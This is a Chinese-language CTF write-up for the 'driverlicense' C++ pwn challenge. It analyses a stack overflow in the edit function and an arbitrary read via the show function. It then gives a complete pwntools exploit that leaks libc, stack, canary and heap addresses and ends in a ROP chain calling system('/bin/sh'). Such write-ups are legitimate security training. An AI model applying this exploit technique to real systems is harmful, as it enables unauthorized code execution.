driverlicense
一个 C++PWN
源文件是这个
分析 edit 函数

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   | __int64 __fastcall edit(__int64 a1) {   __int64 v1;    __int64 result;    void *ptr;    size_t v4;       ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(a1);      v4 = malloc_usable_size(ptr);   if ( v4 )   {          std::operator<<<std::char_traits<char>>(&std::cout, "Input new comment >> ");          result = input((__int64)ptr, v4);   }   else   {     v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Edit failed.");     result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);   }   return result; }
   | 
 
注意到,如果v4很大,可能可以造成溢出
分析 main 函数

注意到 Line 35,v17被赋值为v16,v16是 comment 的内容

也就是,edit函数将会编辑我们初始化中的 comment
注意到 ELF 使用 C++的iostream,若输入的字符串长度小于 8,将被保存在栈上;否则在堆上
故初始化时 comment 长度应当小,使之被保存在栈上。通过 edit 函数漏洞造成栈溢出

注意到 Line64、65 的std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string,是 free 函数
也就是说相关位置的指针必须指向 heap 的相关位置
同时注意到 Line19,文件开启了金丝雀保护
分析 show 函数

本质上是读取堆内内容并输出
但是结合上文,栈溢出后可以覆盖到 name 的堆地址,即任意读取
思路
可见,栈溢出通过 0x10 的偏移可以覆盖到 name 的堆地址,再结合 show 函数泄露需要的内容
 
由于std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(或者看成free)存在,需要复原被栈溢出覆盖的堆地址
 
由此我们可知需要泄露的内容有:
- libc 基址
 
- heap 基址
 
- stack 基址
 
- canary
 
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
   | from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64
  def s(a):     p.send(a) def sa(a, b):     p.sendafter(a, b) def sl(a):     p.sendline(a) def sla(a, b):     p.sendlineafter(a, b) def r():     p.recv() def pr():     print(p.recv()) def rl(a):     return p.recvuntil(a) def inter():     p.interactive() def debug():     gdb.attach(p)     pause() def get_addr():     return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb():     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  context(os='linux', arch='amd64', log_level='debug') p = process('./driverlicense')
  elf = ELF('./driverlicense')
  libc = ELF('./libc-2.23.so')
  def update(data):     sla(b'>> ', b'1')     sla(b'>> ', data) def show():     sla(b'>> ', b'2')
  sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6)
 
  update(b'a'*0x10 + p64(elf.got['read'])) show() libc_base = get_addr() - libc.sym['read']
 
  environ = libc_base + libc.sym['__environ'] update(b'a'*0x10 + p64(environ)) show() stack = get_addr()
 
  update(b'a'*0x10 + p64(stack - 0x110)) show() rl(b'Your name : ') canary = u64(p.recv(8))
 
 
  update(b'a'*0x10 + p64(stack - 0x1b8)) show() rl(b'Your name : ') heap_addr = u32(p.recv(4))
 
  rdi = 0x401713 ret = 0x400df1 system, binsh = get_sb()
 
  update(p64(canary)*2 + p64(heap_addr + 0x50) + b'a'*0x20 + p64(canary) + b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)) sla(b'>> ', b'0')
  print(' heap_addr -> ', hex(heap_addr)) print(' canary -> ', hex(canary)) print(' stack -> ', hex(stack)) print(' libc_base -> ', hex(libc_base)) inter()
   |